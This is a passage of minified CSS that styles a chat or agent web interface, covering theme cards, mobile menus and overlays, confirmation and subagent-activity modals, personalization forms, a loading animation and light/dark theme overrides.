button{flex:1;min-width:100px;border:1px solid var(--theme-control-border);border-radius:12px;padding:10px 12px;background:var(--theme-surface-strong);display:flex;flex-direction:column;align-items:center;gap:4px;font-weight:600;color:var(--text-secondary)}.thinking-presets button.active{border-color:var(--accent);color:var(--accent);background:var(--theme-tab-active)}.thinking-presets button small{font-size:12px;font-weight:500}.thinking-input-row{display:flex;flex-wrap:wrap;align-items:center;gap:12px}.thinking-input-row label{display:flex;flex-direction:column;gap:6px;font-weight:600}.thinking-input-row input{width:120px;padding:8px 10px;border-radius:8px;border:1px solid var(--theme-control-border-strong)}.thinking-hint,.behavior-hint{color:var(--text-secondary);font-size:13px}.strict-skill-grid{display:grid;grid-template-columns:repeat(2,minmax(220px,1fr));gap:10px}@media (max-width: 900px){.strict-skill-grid{grid-template-columns:1fr}}.link-button{border:none;background:none;color:var(--accent);font-weight:600;cursor:pointer}.tool-category-grid{display:flex;flex-wrap:wrap;gap:10px}.tool-category-chip{display:flex;align-items:center;gap:6px;padding:8px 12px;border-radius:12px;background:var(--theme-chip-bg);border:1px solid var(--theme-chip-border);font-size:13px}.tool-category-chip input{accent-color:var(--accent)}.global-actions{justify-content:flex-start;align-items:center;gap:16px}.theme-page{display:flex;flex-direction:column;gap:18px;background:transparent;border-radius:0;border:none;padding:0;box-shadow:none}.theme-section{display:flex;flex-direction:column;gap:16px}.theme-header{display:flex;align-items:center;justify-content:space-between;gap:12px}.theme-header h3{margin:0 0 6px}.theme-header p{margin:0;color:var(--text-secondary)}.theme-badge{padding:6px 12px;border-radius:12px;background:var(--theme-badge-bg);color:var(--accent);font-weight:700;font-size:12px;letter-spacing:.08em;text-transform:uppercase}.theme-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(220px,1fr));gap:14px}.theme-card{border:1px solid var(--theme-control-border);border-radius:16px;padding:14px 16px;background:var(--theme-surface-strong);display:flex;flex-direction:column;gap:10px;text-align:left;cursor:pointer;transition:border-color .2s ease,box-shadow .2s ease,transform .2s ease}.theme-card:hover{border-color:var(--accent);box-shadow:var(--theme-shadow-soft);transform:translateY(-1px)}.theme-card.active{border-color:var(--accent);box-shadow:0 10px 28px var(--shadow-color);background:var(--theme-tab-active)}.theme-card-head{display:flex;align-items:center;justify-content:space-between;gap:10px}.theme-dot-row{display:inline-flex;gap:6px;align-items:center}.theme-dot{width:18px;height:18px;border-radius:50%;box-shadow:inset 0 0 0 1px var(--border-default)}.theme-check{font-weight:700;color:var(--accent);font-size:16px}.theme-card-body h4{margin:0 0 4px;font-size:16px}.theme-card-body p{margin:0;color:var(--text-secondary);line-height:1.5}.theme-note{margin:0;color:var(--text-secondary);font-size:13px}.mobile-panel-trigger{position:fixed;top:0;left:0;right:0;z-index:1500;display:flex;flex-direction:column;align-items:stretch;gap:10px;pointer-events:none;opacity:1;transition:opacity .2s ease;padding:0}.mobile-panel-trigger.is-hidden{opacity:0}.mobile-panel-topbar{background:var(--surface-raised);padding:6px 12px;display:flex;align-items:flex-start;gap:8px;box-shadow:none;pointer-events:auto;position:relative;height:44px}.mobile-panel-topbar:after{content:"";position:absolute;left:0;right:0;bottom:-8px;height:16px;background:var(--surface-raised);mask-image:linear-gradient(180deg,#000,color-mix(in srgb,var(--text-primary) 60%,transparent) 55%,#0000);-webkit-mask-image:linear-gradient(180deg,rgb(0,0,0) 0%,color-mix(in srgb,var(--text-primary) 60%,transparent) 55%,rgba(0,0,0,0) 100%);backdrop-filter:blur(14px);-webkit-backdrop-filter:blur(14px);pointer-events:none}@media (max-width: 768px){.mobile-panel-topbar{height:36px;padding:3px 10px;gap:6px}.mobile-panel-topbar:after{bottom:-8px;height:16px}}.mobile-panel-fab{width:32px;height:32px;border:none;padding:0;border-radius:8px;background:transparent;color:var(--text-primary);cursor:pointer;pointer-events:auto;display:flex;align-items:center;justify-content:center;box-shadow:none;flex-shrink:0}.mobile-panel-fab img{width:22px;height:22px}@media (max-width: 768px){.mobile-panel-fab{width:30px;height:30px}.mobile-panel-fab img{width:22px;height:22px}}.mobile-panel-menu{pointer-events:auto;display:grid;grid-auto-flow:column;gap:8px;padding:8px 10px;border-radius:999px;background:var(--theme-mobile-menu);box-shadow:var(--theme-mobile-menu-shadow);align-self:flex-start}.mobile-panel-menu--dropdown{position:fixed;top:52px;left:12px;display:flex;flex-direction:column;gap:6px;padding:12px;border-radius:14px;background:var(--surface-soft);box-shadow:none;min-width:200px;z-index:1600}.mobile-menu-item{display:flex;align-items:center;gap:12px;padding:10px 12px;border-radius:12px;background:transparent;border:1px solid transparent;cursor:pointer;transition:all .18s ease;color:var(--text-primary);text-align:left}.mobile-menu-item:hover{background:var(--hover-bg)}.mobile-menu-item .item-label{font-size:14px;font-weight:500;flex:1}.mobile-menu-icon{width:24px!important;height:24px!important;min-width:30px;max-width:30px;flex-shrink:0;display:block}.mobile-menu-item:nth-child(1) svg.mobile-menu-icon{width:30px!important;height:30px!important;margin-top:2px}.mobile-menu-item--personal img.mobile-menu-icon{width:26px!important;height:26px!important}.mobile-topbar-title{flex:1;font-size:14px;font-weight:700;color:var(--text-primary);font-family:Iowan Old Style,ui-serif,Georgia,Cambria,Times New Roman,Times,serif;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;text-shadow:0 1px 6px var(--border-strong);text-align:right;margin-left:auto;padding-top:4px}@media (max-width: 768px){.mobile-topbar-title{padding-top:3px}}.mobile-topbar-selector{pointer-events:auto;display:inline-flex;align-items:center;gap:4px;padding:4px 0 0;border-radius:0;border:none;background:transparent;box-shadow:none;color:var(--text-primary);font-weight:600;font-size:14px;line-height:1.35;font-family:Iowan Old Style,ui-serif,Georgia,Cambria,Times New Roman,Times,serif;cursor:pointer;transition:color .15s ease;flex-shrink:0}@media (max-width: 768px){.mobile-topbar-selector{padding:3px 0 0}}.mobile-topbar-selector:hover{color:var(--text-primary)}.mobile-topbar-selector:disabled{opacity:.6;cursor:not-allowed}.mobile-topbar-selector.open{color:var(--text-primary)}.mobile-selector-label{display:inline-flex;align-items:center;gap:4px}.mobile-selector-model{font-weight:700}.mobile-selector-sep{opacity:.6}.mobile-selector-mode{font-weight:500;color:var(--text-secondary)}.mobile-menu-btn{width:44px;height:44px;border-radius:50%;border:none;background:transparent;color:var(--text-primary);display:flex;align-items:center;justify-content:center;cursor:pointer}.mobile-menu-btn img,.mobile-menu-svg{width:26px;height:26px;display:block}.mobile-menu-btn--conversation .mobile-menu-svg{width:30px;height:30px;transition:color .2s ease}.mobile-panel-menu-enter-active,.mobile-panel-menu-leave-active{transition:opacity .2s ease,transform .2s ease}.mobile-panel-menu-enter-from,.mobile-panel-menu-leave-to{opacity:0;transform:translateY(-8px) scale(.95)}.mobile-panel-overlay{position:fixed;top:0;right:0;bottom:0;left:0;background:var(--theme-overlay-scrim);-webkit-backdrop-filter:blur(6px);backdrop-filter:blur(6px);z-index:2000;display:flex;align-items:stretch;padding:0}.mobile-panel-overlay--left{justify-content:flex-start}.mobile-panel-overlay--right{justify-content:flex-end}.mobile-panel-sheet{width:100%;height:100%;background:var(--surface-rail);border-radius:0;box-shadow:none;padding:44px 0 0;position:relative;overflow:hidden;display:flex;flex-direction:column}.mobile-panel-sheet--conversation,.mobile-panel-sheet--workspace{background:var(--surface-rail)}.mobile-panel-sheet--conversation{background:var(--surface-rail);width:min(var(--conversation-expanded-width, 306px),100vw);max-width:100vw;padding-top:0}.mobile-panel-sheet--workspace{width:fit-content;min-width:min(420px,60vw);max-width:100vw}.mobile-panel-sheet--approval{background:var(--surface-panel);width:min(460px,92vw);max-width:92vw;padding-top:0}.mobile-panel-sheet--focus{background:var(--surface-panel)}.mobile-overlay-close{position:absolute;top:10px;right:10px;width:32px;height:32px;border-radius:16px;border:none;background:var(--border-default);color:var(--text-primary);font-size:18px;cursor:pointer;z-index:5}.mobile-overlay-content{margin-top:0;flex:1;width:100%;height:calc(100% - 44px);overflow:hidden}.mobile-panel-sheet .conversation-sidebar,.mobile-panel-sheet .sidebar,.mobile-panel-sheet .right-sidebar{width:100%!important;max-width:100%;min-width:0;height:100%;border:none;border-radius:0}.mobile-panel-sheet .conversation-sidebar,.mobile-panel-sheet--conversation .mobile-overlay-content{height:100%}@media (max-width: 768px){.mobile-panel-sheet .left-sidebar,.mobile-panel-sheet .right-sidebar{display:flex!important;flex-direction:column}.mobile-panel-sheet .conversation-sidebar{position:relative;transform:none!important;box-shadow:none}.mobile-panel-sheet .conversation-sidebar.collapsed{transform:none!important}.mobile-panel-sheet .sidebar-header{position:static;border:none;padding:12px 16px 0}.mobile-panel-sheet .focused-files,.mobile-panel-sheet .approval-panel-body{padding-top:8px}}.mobile-panel-overlay-enter-active,.mobile-panel-overlay-leave-active{transition:opacity .25s ease}.mobile-panel-overlay-enter-from,.mobile-panel-overlay-leave-to{opacity:0}.mobile-panel-overlay .mobile-panel-sheet{transform:translate(0);transition:transform .25s cubic-bezier(.4,0,.2,1)}.desktop-approval-overlay{position:fixed;top:0;right:0;bottom:0;left:0;z-index:2100;background:var(--theme-overlay-scrim);-webkit-backdrop-filter:blur(6px);backdrop-filter:blur(6px);display:flex;justify-content:flex-end;align-items:stretch}.desktop-approval-sheet{height:100%;max-width:92vw;background:var(--surface-panel);box-shadow:var(--shadow-strong);overflow:hidden;display:flex;flex-direction:column}.desktop-approval-sheet .sidebar.right-sidebar{width:100%!important;min-width:0;height:100%;transition:none!important;transform:none!important}.desktop-approval-fade-enter-active,.desktop-approval-fade-leave-active{transition:opacity .2s ease}.desktop-approval-fade-enter-from,.desktop-approval-fade-leave-to{opacity:0}.desktop-approval-fade-enter-active .desktop-approval-sheet,.desktop-approval-fade-leave-active .desktop-approval-sheet{transition:transform .22s ease,opacity .22s ease}.desktop-approval-fade-enter-from .desktop-approval-sheet,.desktop-approval-fade-leave-to .desktop-approval-sheet{transform:translate(14px);opacity:.96}.mobile-panel-overlay--left.mobile-panel-overlay-enter-from .mobile-panel-sheet,.mobile-panel-overlay--left.mobile-panel-overlay-leave-to .mobile-panel-sheet{transform:translate(-28px)}.mobile-panel-overlay--right.mobile-panel-overlay-enter-from .mobile-panel-sheet,.mobile-panel-overlay--right.mobile-panel-overlay-leave-to .mobile-panel-sheet{transform:translate(28px)}.confirm-overlay{position:fixed;top:0;right:0;bottom:0;left:0;background:var(--theme-overlay-scrim);-webkit-backdrop-filter:blur(12px);backdrop-filter:blur(12px);display:flex;align-items:center;justify-content:center;padding:20px;z-index:2200;transition:opacity .25s ease,backdrop-filter .25s ease;will-change:opacity,backdrop-filter}.confirm-modal{width:min(360px,100%);background:var(--theme-surface-card);border:1px solid var(--theme-control-border-strong);border-radius:18px;padding:24px;box-shadow:var(--theme-shadow-soft);transition:transform .25s ease,opacity .25s ease}.confirm-title{font-size:16px;font-weight:600;margin-bottom:12px;color:var(--text-primary)}.confirm-message{font-size:14px;color:var(--text-secondary)}.confirm-warning{margin-top:10px;font-size:13px;font-weight:600;color:var(--state-danger);line-height:1.5}.confirm-actions{display:flex;justify-content:flex-end;gap:12px;margin-top:24px}.confirm-actions--confirm-left .confirm-button--confirm{order:1}.confirm-actions--confirm-left .confirm-button--cancel{order:2}.confirm-button{border:1px solid var(--theme-control-border-strong);background:transparent;color:var(--text-primary);border-radius:10px;padding:8px 20px;font-weight:500;cursor:pointer}.confirm-button--primary{background:var(--accent);border-color:var(--accent-strong);color:var(--on-accent)}.confirm-button--danger{background:var(--state-danger);border-color:var(--state-danger-strong);color:var(--text-primary)}.subagent-activity-overlay{position:fixed;top:0;right:0;bottom:0;left:0;background:var(--theme-overlay-scrim);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px);display:flex;align-items:center;justify-content:center;padding:20px;z-index:2200;transition:opacity .25s ease,backdrop-filter .25s ease}.subagent-activity-modal{width:720px;height:70vh;background:var(--theme-surface-card);border:1px solid var(--theme-control-border-strong);border-radius:18px;padding:20px 22px;box-shadow:var(--theme-shadow-soft);display:flex;flex-direction:column;gap:12px}.subagent-activity-header{display:flex;align-items:center;justify-content:space-between;gap:12px}.subagent-activity-title{font-size:16px;font-weight:600;color:var(--text-primary)}.subagent-activity-close{border:none;background:transparent;color:var(--text-primary);font-size:20px;cursor:pointer;padding:4px 8px;border-radius:8px}.subagent-activity-close:hover{background:var(--theme-control-bg)}.subagent-activity-meta{display:flex;align-items:center;gap:12px;font-size:13px;color:var(--text-secondary);flex-wrap:wrap}.subagent-activity-actions{display:flex;align-items:center;gap:10px;flex-wrap:wrap}.subagent-stop-btn{border:1px solid color-mix(in srgb,var(--state-danger) 40%,transparent);background:color-mix(in srgb,var(--state-danger) 12%,transparent);color:var(--state-danger);border-radius:10px;font-size:12px;padding:4px 10px;cursor:pointer;transition:background .2s ease,border-color .2s ease}.subagent-stop-btn:hover:not(:disabled){background:color-mix(in srgb,var(--state-danger) 18%,transparent);border-color:color-mix(in srgb,var(--state-danger) 55%,transparent)}.subagent-stop-btn:disabled{opacity:.55;cursor:not-allowed}.subagent-activity-status{padding:2px 8px;border-radius:999px;background:color-mix(in srgb,var(--state-info) 15%,transparent);color:var(--state-info);text-transform:uppercase;font-size:11px;letter-spacing:.04em}.subagent-activity-status.completed{background:color-mix(in srgb,var(--state-success) 15%,transparent);color:var(--state-success)}.subagent-activity-status.failed,.subagent-activity-status.timeout,.subagent-activity-status.terminated,.subagent-activity-status.cancelled{background:color-mix(in srgb,var(--state-danger) 15%,transparent);color:var(--state-danger)}.subagent-activity-body{flex:1;overflow-y:auto;padding:8px 0;scrollbar-width:thin}.subagent-activity-body::-webkit-scrollbar{width:8px}.subagent-activity-body::-webkit-scrollbar-track{background:transparent}.subagent-activity-body::-webkit-scrollbar-thumb{background:var(--text-muted);border-radius:8px}.subagent-activity-empty,.subagent-activity-error{color:var(--text-secondary);font-size:13px}.subagent-activity-list{display:flex;flex-direction:column;gap:8px}.subagent-activity-item{display:flex;align-items:center;justify-content:space-between;gap:12px;padding:6px 0;font-size:13px}.subagent-activity-text{color:var(--text-primary);line-height:1.4;word-break:break-all}.subagent-activity-state{flex-shrink:0;font-size:12px;padding:2px 8px;border-radius:999px;text-transform:uppercase;letter-spacing:.03em;background:color-mix(in srgb,var(--state-info) 12%,transparent);color:var(--state-info)}.subagent-activity-state.completed{background:color-mix(in srgb,var(--state-success) 15%,transparent);color:var(--state-success)}.subagent-activity-state.failed{background:color-mix(in srgb,var(--state-danger) 15%,transparent);color:var(--state-danger)}.bg-command-modal{width:min(980px,92vw)}.bg-command-output{margin:0;width:100%;min-height:100%;border:1px solid var(--theme-control-border);border-radius:12px;background:var(--theme-surface-soft);color:var(--text-primary);padding:14px;font-size:12px;line-height:1.5;white-space:pre-wrap;word-break:break-word;overflow:auto}.confirm-dialog-fade-enter-active,.confirm-dialog-fade-leave-active{transition:opacity .25s ease,backdrop-filter .25s ease}.confirm-dialog-fade-enter-from,.confirm-dialog-fade-leave-to{opacity:0;-webkit-backdrop-filter:blur(0px);backdrop-filter:blur(0px)}.confirm-dialog-fade-enter-active .confirm-modal,.confirm-dialog-fade-leave-active .confirm-modal{transition:transform .25s ease,opacity .25s ease}.confirm-dialog-fade-enter-from .confirm-modal,.confirm-dialog-fade-leave-to .confirm-modal{transform:translateY(18px) scale(.97);opacity:0}.personal-form{display:flex;flex-direction:column;gap:18px;flex:1;min-height:0;height:100%}.personalization-sections{display:grid;grid-template-columns:minmax(0,1fr) minmax(280px,360px);gap:18px;align-items:stretch}.personal-left-column{display:flex;flex-direction:column;min-width:0}.personal-left-column .personal-section{height:100%}.personal-section{flex:1 1 0;min-width:240px;background:var(--theme-surface-soft);border:1px solid var(--theme-control-border);border-radius:18px;padding:16px 18px;display:flex;flex-direction:column;gap:16px}.personal-right-column{display:flex;flex-direction:column;gap:14px;min-width:0;align-self:stretch;height:100%}.personal-right-column>.personal-form-actions{margin-top:auto}.personal-section.personal-considerations .personal-field{flex:1;display:flex;flex-direction:column}.personal-section.personal-considerations .consideration-list{max-height:260px;min-height:220px;flex:1;overflow-y:auto;scrollbar-width:none;-ms-overflow-style:none}.personal-section.personal-considerations .consideration-list::-webkit-scrollbar{display:none}.personal-section.personal-considerations .consideration-item{background:var(--theme-surface-strong)}@media (max-width: 1024px){.personalization-sections{display:flex;flex-direction:column;gap:18px}.personal-right-column,.personal-left-column{width:100%;max-width:none}}.personal-field{display:flex;flex-direction:column;gap:10px;font-size:14px}.personal-field input{width:100%;padding:10px 14px;border-radius:12px;border:1px solid var(--theme-control-border-strong);background:var(--theme-surface-soft);font-size:14px}.personal-field input:focus{outline:2px solid color-mix(in srgb,var(--accent-strong) 35%,transparent);border-color:color-mix(in srgb,var(--accent-strong) 60%,transparent)}.tone-preset-row{display:flex;align-items:center;flex-wrap:wrap;gap:10px;font-size:13px;color:var(--text-secondary)}.tone-preset-buttons{display:flex;flex-wrap:wrap;gap:6px}.tone-preset-buttons button{padding:4px 10px;border-radius:999px;border:1px solid var(--theme-control-border);background:var(--theme-surface-strong);font-size:13px;cursor:pointer}.tone-preset-buttons button:hover{border-color:var(--accent);color:var(--accent)}.consideration-input{display:flex;gap:8px;align-items:center}.consideration-input input{flex:1}.consideration-add{width:38px;height:38px;border-radius:12px;border:none;background:var(--accent);color:var(--surface-card);font-size:20px;font-weight:600;cursor:pointer}.consideration-add:disabled{opacity:.4;cursor:not-allowed}.consideration-list{list-style:none;margin:6px 0 0;padding:0;display:flex;flex-direction:column;gap:8px}.consideration-item{display:flex;align-items:center;gap:10px;padding:10px 12px;border-radius:12px;border:1px dashed var(--theme-control-border-strong);background:var(--theme-surface-soft);cursor:grab}.drag-handle{font-size:16px;color:var(--text-secondary)}.consideration-text{flex:1;font-size:14px;color:var(--text-primary)}.consideration-remove{border:none;background:none;font-size:18px;line-height:1;cursor:pointer;color:var(--state-danger);padding:0 4px}.consideration-hint,.consideration-limit{font-size:13px;color:var(--text-secondary)}.personal-form-actions{display:flex;align-items:center;gap:8px;margin-top:auto;padding:12px 0 0;justify-content:flex-end}.personal-form-actions.card-aligned{padding:0;margin-top:auto;justify-content:flex-end}@media (max-width: 1024px){.personal-form-actions.card-aligned{margin-top:12px}}.personal-actions-row{display:flex;justify-content:flex-end;margin-top:18px}.personal-actions-row .personal-form-actions{width:100%;max-width:420px;padding:0}@media (min-width: 1025px){.personal-actions-row .personal-form-actions{max-width:calc(50% - 9px)}}.personal-status-group{flex:0 0 auto;display:flex;align-items:center;gap:4px;min-height:22px}.personal-form-actions .primary{padding:10px 20px;border:none;border-radius:999px;background:linear-gradient(135deg,var(--accent) 0%,var(--accent-strong) 100%);color:var(--text-primary);font-weight:600;cursor:pointer}.personal-form-actions .primary:disabled{opacity:.6;cursor:not-allowed}.personal-form-actions .status{font-size:13px}.personal-form-actions .status.success{color:var(--state-success)}.personal-form-actions .status.error{color:var(--state-danger)}.personal-status-fade-enter-active,.personal-status-fade-leave-active{transition:opacity .25s ease}.personal-status-fade-enter-from,.personal-status-fade-leave-to{opacity:0}.personalization-loading{padding:32px 0;text-align:center;color:var(--text-secondary);font-size:14px}.personal-page-vertical-enter-active,.personal-page-vertical-leave-active{transition:opacity .35s ease,transform .35s ease}.personal-page-vertical-enter-from{opacity:0;transform:translateY(26px)}.personal-page-vertical-leave-to{opacity:0;transform:translateY(-26px)}.personal-page-fade-enter-active,.personal-page-fade-leave-active{transition:opacity .25s ease,backdrop-filter .25s ease}.personal-page-fade-enter-from,.personal-page-fade-leave-to{opacity:0;-webkit-backdrop-filter:blur(0);backdrop-filter:blur(0)}.personal-page-overlay.personal-page-fade-enter-active .personal-page-card,.personal-page-overlay.personal-page-fade-leave-active .personal-page-card{transition:transform .25s ease,opacity .25s ease}.personal-page-overlay.personal-page-fade-enter-from .personal-page-card,.personal-page-overlay.personal-page-fade-leave-to .personal-page-card{transform:translateY(18px) scale(.985);opacity:0}.overlay-fade-enter-active,.overlay-fade-leave-active{transition:opacity .25s ease,backdrop-filter .25s ease}.overlay-fade-enter-from,.overlay-fade-leave-to{opacity:0;-webkit-backdrop-filter:blur(0);backdrop-filter:blur(0)}.overlay-fade-enter-active>*:first-child,.overlay-fade-leave-active>*:first-child{transition:transform .25s ease,opacity .25s ease}.overlay-fade-enter-from>*:first-child,.overlay-fade-leave-to>*:first-child{transform:translateY(18px) scale(.985);opacity:0}.easter-egg-overlay{position:fixed;top:0;right:0;bottom:0;left:0;pointer-events:none;display:flex;align-items:flex-end;justify-content:center;opacity:0;transition:opacity .6s ease;z-index:80}.easter-egg-overlay.active{opacity:1}.panel-card{border-left:1px solid var(--border-default);padding:0}.app-loading-state{min-height:calc(var(--app-viewport) - 160px);padding:60px 20px;display:flex;flex-direction:column;align-items:center;justify-content:center;gap:28px;text-align:center;color:var(--text-primary)}.loading-animation{display:flex;align-items:center;justify-content:center}.loading-copy{margin-top:48px}.loading-copy h2{margin:0;font-size:24px;font-weight:600}.loading-copy p{margin:6px 0 0;color:var(--text-secondary)}.loading-refresh-btn{margin-top:14px;border:1px solid var(--border-default);border-radius:10px;background:var(--surface-panel);color:var(--text-primary);padding:8px 14px;font-size:13px;cursor:pointer;transition:transform .18s ease,box-shadow .18s ease}.loading-refresh-btn:hover{transform:translateY(-1px);box-shadow:0 8px 20px var(--border-default)}.boxes{--size: 34px;--duration: .9s;--box-primary: var(--accent);--box-secondary: var(--accent-strong);--box-tertiary: color-mix(in srgb, var(--accent) 30%, white);height:calc(var(--size) * 2);width:calc(var(--size) * 3);position:relative;transform-style:preserve-3d;transform-origin:50% 50%;margin-top:calc(var(--size) * -1.5);transform:rotateX(60deg) rotate(45deg) rotateY(0) translateZ(0)}.boxes .box{width:var(--size);height:var(--size);top:0;left:0;position:absolute;transform-style:preserve-3d}.boxes .box:nth-child(1){transform:translate(100%);animation:box1 var(--duration) linear infinite}.boxes .box:nth-child(2){transform:translateY(100%);animation:box2 var(--duration) linear infinite}.boxes .box:nth-child(3){transform:translate(100%,100%);animation:box3 var(--duration) linear infinite}.boxes .box:nth-child(4){transform:translate(200%);animation:box4 var(--duration) linear infinite}.boxes .box>div{--background: var(--box-primary);--top: auto;--right: auto;--bottom: auto;--left: auto;--translateZ: calc(var(--size) / 2);--rotateY: 0deg;--rotateX: 0deg;position:absolute;width:100%;height:100%;background:var(--background);top:var(--top);right:var(--right);bottom:var(--bottom);left:var(--left);border-radius:6px;transform:rotateY(var(--rotateY)) rotateX(var(--rotateX)) translateZ(var(--translateZ))}.boxes .box>div:nth-child(1){--top: 0;--left: 0}.boxes .box>div:nth-child(2){--background: var(--box-secondary);--right: 0;--rotateY: 90deg}.boxes .box>div:nth-child(3){--background: var(--box-tertiary);--rotateX: -90deg}.boxes .box>div:nth-child(4){--background: rgba(255, 255, 255, .95);--top: 0;--left: 0;--translateZ: calc(var(--size) * 3 * -1)}@keyframes box1{0%,50%{transform:translate(100%)}to{transform:translate(200%)}}@keyframes box2{0%{transform:translateY(100%)}50%{transform:translate(0)}to{transform:translate(100%)}}@keyframes box3{0%,50%{transform:translate(100%,100%)}to{transform:translateY(100%)}}@keyframes box4{0%{transform:translate(200%)}50%{transform:translate(200%,100%)}to{transform:translate(100%,100%)}}body[data-theme=light] .experiment-visual-glow,body[data-theme=light] .experiment-orb{display:none}body[data-theme=light] .experiment-visual{background:var(--theme-surface-card);box-shadow:none}body[data-theme=light] .status-logo{color:var(--text-primary)}body[data-theme=light] .mode-indicator{background:var(--surface-muted)!important;color:var(--text-primary);box-shadow:none}body[data-theme=light] .mode-indicator:hover{background:var(--border-strong)!important;box-shadow:none}body[data-theme=light] .mode-indicator:focus-visible{box-shadow:0 0 0 2px var(--border-default)}body[data-theme=light] .mode-indicator .icon{color:var(--text-primary)}body[data-theme=light] .personal-page-close{box-shadow:0 1px 2px var(--border-default)}body[data-theme=light] .personal-page-close:hover{box-shadow:0 2px 4px var(--border-strong)}body[data-theme=light] .run-mode-title{color:var(--text-primary)!important}body[data-theme=light] .run-mode-desc{color:var(--text-secondary)!important}body[data-theme=light] .run-mode-card.active .run-mode-title{color:var(--text-primary)!important}body[data-theme=light] .run-mode-card.active .run-mode-desc{color:var(--text-secondary)!important}body[data-theme=light] .run-mode-card:hover .run-mode-title{color:var(--text-primary)!important}body[data-theme=light] .run-mode-card:hover .run-mode-desc,body[data-theme=light] .personal-tab-button,body[data-theme=light] .personal-tab-button.active,body[data-theme=light] .consideration-remove{color:var(--text-secondary)!important}body[data-theme=light] .consideration-remove:hover{color:var(--text-primary)!important}body[data-theme=light] .personal-page-card,body[data-theme=light] .personal-section,body[data-theme=light] .personal-tab-button{background:var(--surface-raised)!important}body[data-theme=light] .personal-tab-button:hover{background:var(--chip-bg)!important}body[data-theme=light] .personal-tab-button.active{background:var(--surface-raised)!important}body[data-theme=dark] .experiment-visual-glow,body[data-theme=dark] .experiment-orb{display:none}body[data-theme=dark] .experiment-visual{background:var(--theme-surface-card);box-shadow:none}body[data-theme=dark] .status-logo{color:var(--text-primary)}body[data-theme=dark] .mode-indicator{background:var(--badge-bg)!important;color:var(--text-primary);box-shadow:none}body[data-theme=dark] .mode-indicator:hover{background:var(--surface-muted)!important;box-shadow:none}body[data-theme=dark] .mode-indicator:focus-visible{box-shadow:0 0 0 2px var(--border-card-strong)}body[data-theme=dark] .mode-indicator .icon{color:var(--text-primary)}body[data-theme=dark] .personal-page-close{box-shadow:0 2px 4px color-mix(in srgb,var(--text-primary) 30%,transparent)}body[data-theme=dark] .personal-page-close:hover{box-shadow:0 3px 6px var(--shadow-color)}body[data-theme=dark] .run-mode-title{color:var(--text-primary)!important}body[data-theme=dark] .run-mode-desc{color:var(--text-secondary)!important}body[data-theme=dark] .run-mode-card.active .run-mode-title{color:var(--text-primary)!important}body[data-theme=dark] .run-mode-card.active .run-mode-desc{color:var(--text-secondary)!important}body[data-theme=dark] .run-mode-card:hover .run-mode-title{color:var(--text-primary)!important}body[data-theme=dark] .run-mode-card:hover .run-mode-desc{color:var(--text-secondary)!important}body[data-theme=dark] .personal-tab-button,body[data-theme=dark] .personal-tab-button.active{color:var(--text-primary)!important}body[data-theme=dark] .personal-tab-desc{color:var(--text-secondary)!important}body[data-theme=dark] .mobile-topbar-title{color:var(--text-primary)!important;text-shadow:none!important}body[data-theme=dark] .mobile-topbar-selector,body[data-theme=dark] .mobile-topbar-selector:hover,body[data-theme=dark] .mobile-topbar-selector.open,body[data-theme=dark] .mobile-selector-model{color:var(--text-primary)!important}body[data-theme=dark] .mobile-selector-mode{color:var(--text-secondary)!important}body[data-theme=dark] .mobile-panel-topbar{background:var(--surface-panel)!important}body[data-theme=dark] .mobile-panel-topbar:after{background:var(--surface-panel)!important}body[data-theme=dark] .mobile-panel-fab{color:var(--text-primary)!important}body[data-theme=dark] .mobile-panel-fab img{filter:brightness(0) invert(1)!important}body[data-theme=dark] .mobile-panel-menu{background:var(--surface-base)!important}body[data-theme=dark] .mobile-panel-menu--dropdown{background:var(--badge-bg)!important;box-shadow:none!important}body[data-theme=dark] .mobile-menu-item{color:var(--text-primary)!important}body[data-theme=dark] .mobile-menu-item:hover{background:var(--surface-muted)!important}body[data-theme=dark] .mobile-menu-icon{filter:brightness(0) invert(1)!important}body[data-theme=dark] .mobile-menu-btn{color:var(--text-primary)!important}body[data-theme=dark] .mobile-menu-svg,body[data-theme=dark] .mobile-menu-btn img{filter:brightness(0) invert(1)!important}body[data-theme=dark] .consideration-item{border-color:var(--text-secondary)!important}body[data-theme=dark] .consideration-remove{color:var(--text-secondary)!important}body[data-theme=dark] .consideration-remove:hover{color:var(--text-primary)!important}body[data-theme=dark] .personal-page-card{background:var(--surface-panel)!important}body[data-theme=dark] .personal-section,body[data-theme=dark] .personal-tab-button{background:var(--surface-base)!important}body[data-theme=dark] .personal-tab-button:hover,body[data-theme=dark] .personal-tab-button.active{background:var(--surface-panel)!important}body[data-theme=dark] .sidebar-header{background:var(--surface-rail)}body[data-theme=dark] .mobile-panel-sheet--approval .sidebar.right-sidebar{background:transparent!important}body[data-theme=dark] .mobile-panel-sheet--approval .sidebar-header,body[data-theme=dark] .mobile-panel-sheet--approval .sidebar .sidebar-header{background:transparent!important;padding:0 16px!important}body[data-theme=dark] .panel-menu{background:var(--badge-bg);border-color:var(--border-card-strong)}body[data-theme=dark] .panel-menu button.active{background:var(--border-card-strong)}body[data-theme=dark] .folder-header,body[data-theme=dark] .file-node{background:transparent}body[data-theme=dark] .folder-header:hover,body[data-theme=dark] .file-node.file-leaf:hover{background:var(--badge-bg)}.tutorial-page{display:flex;align-items:stretch}.tutorial-intro-content{width:100%;padding:0;display:flex;flex-direction:column;gap:16px}.tutorial-intro-eyebrow{margin:0;font-size:12px;color:var(--text-tertiary);letter-spacing:.06em}.tutorial-intro-header h3{margin:6px 0 8px;font-size:24px}.tutorial-intro-desc,.tutorial-intro-hint,.tutorial-status-text,.tutorial-feature-item p{margin:0;color:var(--text-secondary);line-height:1.55}.tutorial-intro-features{display:grid;grid-template-columns:repeat(auto-fit,minmax(210px,1fr));gap:12px}.tutorial-feature-item{display:flex;gap:10px;align-items:flex-start;padding:12px;border:1px solid var(--theme-control-border);border-radius:14px;background:var(--theme-surface-strong)}.tutorial-feature-item h4{margin:0 0 4px;font-size:14px}.tutorial-feature-icon{font-size:18px}.tutorial-status-badge{display:inline-flex;gap:8px;align-items:center;border-radius:999px;padding:6px 12px;font-size:13px;font-weight:600}.tutorial-status-badge.success{color:var(--text-primary);background:linear-gradient(135deg,var(--state-success),color-mix(in srgb,var(--state-success) 70%,black))}.tutorial-intro-actions{display:flex;flex-direction:column;gap:8px;margin-top:4px}.tutorial-start-button{align-self:flex-start;border:none;border-radius:999px;padding:10px 